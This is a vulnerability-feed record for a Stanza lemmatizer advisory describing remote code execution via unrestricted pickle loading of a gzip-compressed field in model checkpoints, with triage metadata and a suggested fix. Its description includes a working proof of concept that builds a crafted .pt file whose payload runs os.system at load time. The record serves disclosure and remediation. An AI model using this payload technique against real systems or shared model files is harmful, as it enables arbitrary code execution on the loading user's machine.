{"id":"CVE-2026-115878","kind":"vulnerability","aliases":["CVE-2026-115878","GHSA-gh9r-c94j-cmp5"],"related":[],"title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"<attacker-influenced .pt>\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # <-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id > %s 2>&1; echo executed_by=$(whoami) >> %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -> command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.","summary":"Stanza's lemmatizer stores part-of-speech data as a gzip-compressed pickle inside the model checkpoint, and the loader unpickles it without restriction. A crafted lemma .pt file can therefore run arbitrary commands as the user who loads it, at pipeline construction time.","severity":"high","cvss":7.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"stanza","fixed":["1.15.0"],"affected":"= 1.14.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-502","cwe-94","nlp","package","python","stanza"],"not_affected_if":["default-config","no-custom-lemma-model"],"how_to_check":"- Run `pip show stanza` and check whether the version is `1.14.0`.\n- Look for `lemma_model_path` in pipeline code, configs or registries that loads checkpoints from untrusted or shared sources.","fix":"- `stanza` fixed in `1.15.0` (affected `1.14.0`).","status":"open","published_at":"2026-11-03T20:29:16+00:00","first_seen_at":"2026-11-03T20:33:51+00:00","triaged_at":"2026-11-03T20:35:04+00:00","updated_at":"2026-11-03T20:35:04+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-03T20:35:04Z","model":"claude-haiku-5-5","output":{"fix":"- `stanza` fixed in `1.15.0` (affected `1.14.0`).","reach":"local","title":"Stanza: loading a crafted lemmatizer checkpoint runs attacker code","impact":"high","summary":"Stanza's lemmatizer stores part-of-speech data as a gzip-compressed pickle inside the model checkpoint, and the loader unpickles it without restriction. A crafted lemma .pt file can therefore run arbitrary commands as the user who loads it, at pipeline construction time.","audience":"developers","category":"package","nicknames":[],"who_cares":["python","stanza","nlp"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Attacker code runs as the loading user on the host","analyst_note":"","how_to_check":"- Run `pip show stanza` and check whether the version is `1.14.0`.\n- Look for `lemma_model_path` in pipeline code, configs or registries that loads checkpoints from untrusted or shared sources.","plain_action":"","needs_analyst":false,"not_affected_if":["default-config","no-custom-lemma-model"],"who_is_affected":"Teams whose code builds a stanza.Pipeline with a lemma_model_path, or loads a lemma checkpoint through a custom registry, where the file comes from an untrusted or shared source. Default-registry downloads are checksum-verified, but caller-supplied paths are not. Pipelines that only use the default models from the official registry are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000895,"input_tokens":6176,"output_tokens":555,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-115878':11A,19A '-2026':10A,18A,413C '-502':22B '-54499':414C '-94':24B '1':463C '1.14.0':92C,171C '2':329C,462C '2.13.0':173C '3.13.7':175C '365':308C '378':340C,575C '4':491C '501':195C '54':282C 'addit':557C 'allowlist':129C,316C 'api':347C 'appli':374C 'arbitrari':63B,85C 'attack':80C 'attacker-suppli':79C 'bare':146C 'buf':283C,289C,471C,476C 'buf.getvalue':494C 'build':205C 'byte':111C,118C,139C,271C,317C,525C 'c94j':15A 'call':241C,543C 'caller':212C,364C,377C 'caller-suppli':211C,363C,376C 'carri':563C 'checkpoint':47B,106C,178C,215C,274C,309C,337C,359C 'checksum':372C 'ckpt':492C,505C 'class':453C 'cmd':184C 'cmp5':16A 'code':86C,163C 'command':64B,187C,533C 'compress':42B,102C 'config':568C 'confirm':164C,586C 'construct':73B,255C,394C 'cpython':174C 'craft':56B,177C,560C 'current':330C 'custom':237C,360C 'cve':9A,17A,412C 'cwe':21B,23B 'data':37B,280C,285C 'def':276C,303C,455C 'default':300C,386C 'deseri':5A,581C,590C 'dict':97C,108C,248C,264C,268C,275C,279C,322C,324C,327C,333C,336C,338C,442C,443C,486C,493C,495C,497C,523C,529C,531C,546C 'direct':547C 'document':346C 'download':388C 'downstream':199C 'dr':76C 'echo':464C 'embed':252C 'end':166C,168C 'end-to-end':165C 'entir':423C 'equival':228C 'establish':576C 'evil_lemma.pt':503C 'exact':549C 'execut':162C,196C,250C,465C,583C 'exist':382C 'exposur':421C 'express':550C 'fallback':409C 'fals':408C,511C 'feed':137C 'field':109C 'file':59B,192C,355C,561C 'filenam':306C,311C 'fileobj':288C,475C 'fix':410C,589C 'flow':389C 'form':567C 'format':331C 'gh9r':14A 'ghsa':13A 'ghsa-gh9r-c94j-cmp5':12A 'give':155C 'gz':293C,480C 'gz.read':295C 'gz.write':487C 'gzip':41B,101C,270C,431C 'gzip-compress':40B,100C 'gzip.gzipfile':287C,474C 'i.e':216C 'id':460C 'import':430C,439C 'infer':397C 'inner':133C,425C,592C 'input':398C 'insid':44B 'intact':320C,526C 'io':432C 'io.bytesio':284C,472C 'l':517C 'lambda':515C 'lang':218C 'lemma':57B,82C,222C,223C,233C,349C,366C,450C 'lemmaprocessor._set_up_model':352C 'lemmat':8A,31B,94C,214C 'line':281C,307C,339C,574C 'load':69B,77C,89C,161C,189C,209C,229C,304C,417C,512C,530C,571C 'loader':50B 'marker':191C,446C,469C,470C,538C 'md5':380C 'minim':427C 'mode':290C,477C 'model':46B,160C,224C,234C,350C,354C,367C 'never':130C 'new':508C 'nlp':25B 'note':401C 'open':537C 'os':433C 'os.path.join':447C,501C 'os.system':183C,459C 'outer':315C,416C 'pack':262C,484C 'packag':26B 'part':34B 'part-of-speech':33B 'pass':123C,318C 'path':225C,259C,351C,368C,379C 'payload':180C,454C,489C 'pickl':4A,43B,103C,253C,269C,426C,434C 'pickle.dumps':488C 'pickle.loads':143C,147C,297C 'pipelin':72B,207C,393C 'poc':428C,451C,542C 'pos':96C,221C,247C,263C,267C,278C,326C,335C,441C,445C,485C,499C,528C,545C 'primit':121C 'print':535C 'process':400C 'processor':219C 'protect':157C 'protocol':490C 'pt':58B,83C,500C,506C,514C 'pwned':452C,536C 'python':27B,261C,302C,429C 'pytorch':172C 'ran':185C 'raw':294C,298C 'rb':291C 'rce':2A 'reach':369C,553C 'reachabl':343C 'read':539C 'reduc':181C,456C 'registri':238C,361C,387C 'requir':558C 'restrict':54B 'result':151C 'return':182C,296C,458C 'review':579C 'rout':242C 'run':62B,84C,534C,572C 'runtim':588C 'safe':419C 'see':131C 'self':305C,457C 'self.pos':332C 'serial':510C 'shape':482C 'shared/distributed':358C 'show':193C 'side':266C 'sinc':91C,239C 'sourc':578C 'speech':36B 'stanza':1A,20A,28B,29B,170C,449C 'stanza.models.lemma.trainer':438C 'stanza.pipeline':217C,348C,556C 'stanza/models/lemma/trainer.py':260C 'stay':418C 'step':584C 'store':32B,95C,272C 'straight':243C 'stream':134C,593C 'strip':540C 'succeed':522C 'suppli':81C,213C,365C,378C 'tempfil':435C 'tempfile.gettempdir':448C,502C 'therefor':61B 'time':74B,190C,256C 'tl':75C 'token':220C 'torch':436C 'torch.load':113C,310C,513C 'torch.save':504C 'trainer':353C 'trainer.load':135C,245C,356C 'trainer.py:378':532C,552C 'treat':117C 'tree':150C 'trigger':390C 'true':116C,154C,314C,521C 'uid':194C 'unexamin':126C 'unpack':246C,277C,334C,440C,527C,544C 'unpickl':51B,301C 'unrestrict':142C,299C 'untrusted/shared':232C 'use':507C 'user':67B,90C,200C 'valid':342C 'valu':112C 'verif':381C 'version':323C,325C,328C,444C,496C,498C 'via':3A 'vocab':569C 'vulner':202C,258C 'wb':478C 'weight':114C,152C,312C,406C,519C 'well':566C 'well-form':565C 'whenev':203C 'whoami':467C 'whose':179C 'without':53B 'write':265C 'zipfil':509C","nicknames":[],"mitigations":[],"who_affected":"Teams whose code builds a stanza.Pipeline with a lemma_model_path, or loads a lemma checkpoint through a custom registry, where the file comes from an untrusted or shared source. Default-registry downloads are checksum-verified, but caller-supplied paths are not. Pipelines that only use the default models from the official registry are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["stanza"],"ptokens":["stanza"],"labels":["cwe502","cwe94","high","nlp","package","pypi","python","stanza"],"campaign_type":null,"first_public_at":"2026-10-01T05:55:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-gh9r-c94j-cmp5","url":"https://github.com/advisories/GHSA-gh9r-c94j-cmp5","severity":"high","published_at":"2026-11-03T20:29:16+00:00","modified_at":"2026-11-03T20:29:16+00:00","first_seen_at":"2026-11-03T20:33:51+00:00","fetched_at":"2026-11-03T20:49:14+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-115878","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115878","severity":null,"published_at":"2026-11-03T21:17:02+00:00","modified_at":"2026-11-03T21:17:02+00:00","first_seen_at":"2026-11-03T21:19:08+00:00","fetched_at":"2026-11-03T21:19:31+00:00","note":null}],"documents":[{"id":60379,"url":"https://api.github.com/repos/stanfordnlp/stanza/security-advisories/GHSA-gh9r-c94j-cmp5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":60380,"url":"https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-10-01T05:55:52+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":60381,"url":"https://github.com/stanfordnlp/stanza/pull/1649","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":60382,"url":"https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":60383,"url":"https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}